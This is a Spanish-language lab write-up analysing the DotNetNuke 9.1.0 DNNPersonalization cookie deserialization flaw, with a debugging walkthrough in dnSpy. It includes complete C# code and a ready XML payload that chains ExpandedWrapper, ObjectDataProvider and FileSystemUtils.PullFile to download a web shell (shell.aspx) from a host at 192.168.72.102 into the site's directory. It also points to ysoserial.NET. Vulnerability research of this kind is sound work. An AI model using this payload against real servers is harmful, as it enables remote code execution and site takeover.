
DotNetNuke (a menudo abreviado como DNN) es una plataforma CMS (Content Management System) y framework de aplicaciones web basado en la tecnología ASP.NET de Microsoft.
Producto afectado: DotNetNuke (DNN Platform) – un CMS/portal .NET popular.
Fecha de divulgación: Julio de 2017.
Gravedad: Critical (CVSS ~9.8).
Tipo de vulnerabilidad: XML External Entity (XXE) / Deserialización insegura → Remote Code Execution (RCE).
Impacto: antes de la versión 9.1.1, es posible ejecutar código de forma remota a través de la cookie
Aquí estoy usando Windows 10 para configurar y depurar el programa. La versión que estoy instalando es 9.1.0; puedes consultar cómo instalarlo aquí. Y el resultado al terminar es:


Según los informes que he leído, esta vulnerabilidad se encuentra en el manejo de la cookie de DotNetNuke.
DNN utiliza un método de deserialización inseguro (unsafe deserialization) para la cookie DNNPersonalization.

.dll o .exe escritos en .NET. Puedes instalarlo aquí. Necesitamos descargar 2 versiones para llevar a cabo la depuración.
DotNetNuke.dll con la versión de 32 bits y selecciona Edit Assembly Attributes (C#).
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

Después guárdalo.
Attach to Process.
w3wp.exe.
La razón para elegir w3wp.exe es:
w3wp.exe = IIS Worker Process.
Es el proceso de ejecución del Application Pool en IIS.
Cuando llega una solicitud HTTP al sitio web, IIS crea o reutiliza un w3wp.exe para procesarla (ejecutar código ASP.NET, manejar módulos, middleware, conexiones de base de datos...).
Cada Application Pool puede tener uno o varios procesos w3wp.exe según la configuración (web garden, reciclaje).
A continuación, ve a Debug -> Window -> Modules.

Cuando aparezcan los módulos, haz clic derecho en cualquiera de ellos y selecciona Open All Modules.

Y al final aparecerán todos los ensamblados relacionados con DNN.

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int).
Esta función se usa para cargar los datos de personalización (perfil) del usuario en el portal DNN.
Si el usuario ha iniciado sesión → obtiene el perfil de la base de datos + caché.
Si es un usuario anónimo (sin iniciar sesión) → obtiene el perfil de la cookie DNNPersonalization.
Aquí debemos centrarnos en DNNPersonalization.
Si userId no es válido (usuario anónimo).
Comprueba si la solicitud contiene la cookie DNNPersonalization.
Si la tiene → toma el valor XML de esa cookie.
Enviaremos una solicitud 404 al sitio web con cualquier DNNPersonalization y usaremos dnSpy para establecer un breakpoint en DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int); así podremos depurarlo.


PortalSettings.
Lo que llama la atención es que aquí se usa una condición if para comprobar si la solicitud actual ya está IsAuthenticated o no.
Y como la solicitud que enviamos es 404 -> unauthenticated.
Continuando con el Call Stack, nos centramos en Handle404OrException.

context.User de la solicitud actual es null; si es así, asigna context.User al usuario del hilo actual.

Podemos ver que en Handle404OrException la variable IsAuthenticated ahora tiene el valor true y el usuario es el del servidor IIS, por lo que la solicitud se procesa como un usuario autenticado.
La razón del problema está en este fragmento de código:
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
Si context.User no existe → asigna Thread.CurrentPrincipal (es decir, la identidad actual del hilo).
Esto permite que la solicitud tenga la información de usuario/rol al continuar procesándose.
=> Cuando pasamos cualquier contenido a la cookie con la variable DNNPersonalization, se ejecutará como un usuario normal.
Seguimos en DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int).
Vemos que la variable text recibe el valor de la cookie y luego se usa como entrada para Globals.DeserializeHashTableXml().

Globals.DeserializeHashTableXml().
La función DeserializeHashTableXml se encarga de:
Recibir una cadena XML (Source).
Analizar (parsear) esa cadena XML para convertirla en un objeto Hashtable.
Durante el análisis, llama a la función XmlUtils.DeSerializeHashtable, con el parámetro "profile" para especificar el nodo raíz del XML.
Dentro de XmlUtils.DeSerializeHashtable podemos ver cómo lo procesa.

La función DeSerializeHashtable recibe una cadena XML y la convierte en Hashtable. Para cada nodo <item>, la función:
Toma key como clave.
Toma type y llama a Type.GetType(type) para determinar el tipo de datos.
Usa XmlSerializer.Deserialize para convertir el contenido XML en el objeto real.
Lo agrega al Hashtable.
👉 Problema: type y el contenido XML están completamente controlados por el usuario (desde la cookie DNNPersonalization).
Basándonos en que XmlUtils#DeSerializeHashtable es la ubicación del fallo, creamos un programa similar que serializa y deserializa objetos:
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
xml se verá así:<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

Deserialize.PullFile de FileSystemUtils.
Explicación:
PullFile(string URL, string FilePath) — método estático en FileSystemUtils que se usa para descargar contenido desde una URL a la ruta FilePath del sistema.
Internamente usa WebClient.DownloadFile(URL, FilePath) — acción de descargar y escribir el archivo.
El catch solo registra el error y devuelve un mensaje; no lo relanza.
Pero el problema es: XmlSerializer no puede serializar métodos de clase, solo campos y propiedades públicas. Y ninguno de los campos y propiedades públicas de la clase FileSystemUtils puede llegar a invocar el método PullFile.
Pasemos a la clase ObjectDataProvider.
ObjectDataProvider es una clase en WPF (espacio de nombres System.Windows.Data, módulo PresentationFramework.dll).
Capaz de invocar métodos en tiempo de ejecución: no solo contiene datos, sino que puede realizar acciones (efectos secundarios) llamando a cualquier método del objeto envuelto.
Permite pasar parámetros: el atacante puede controlar los parámetros pasados al método (por ejemplo, la URL y la ruta de archivo para un método PullFile).
ObjectDataProvider en sí no “ejecuta código” como un intérprete, pero permite llamar a cualquier método público del objeto envuelto. Por lo tanto, si existe un método público con efectos secundarios peligrosos (por ejemplo, descargar archivos, ejecutar procesos, escribir archivos), la cadena puede ejecutarlo.

Aquí está llamando a Refresh() de DataSourceProvider.

Luego llega a BeginQuery(). Ten en cuenta que ObjectDataProvider hereda de DataSourceProvider, y pasamos a BeginQuery() de ObjectDataProvider.

Continuamos con QueryWorker.

Llama a InvokeMethodOnInstance.

InvokeMethodOnInstance es el método que realmente ejecuta (invoca): usa reflexión para llamar al método especificado (MethodName) en el objeto que ObjectDataProvider envuelve (o en el tipo si es estático), pasando la lista MethodParameters, y devuelve el resultado de dicho método.
Usando el IDE JetBrains Rider para escribir el script, es necesario hacer referencia a los módulos DotNetNuke.dll y PresentationFramework.dll.

El payload que se ejecuta es el siguiente:
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (nếu bạn đã add DLL)
using System.Data.Services.Internal; // ExpandedWrapper (nếu có)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
Obtenemos el archivo xml:
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Insertamos el payload.



Procedemos con la explotación.

Además, podemos usar la herramienta ysoserial.NET para crear payloads.


También podemos explotar la escritura de archivos en WriteFile de la clase FileSystemUtils.

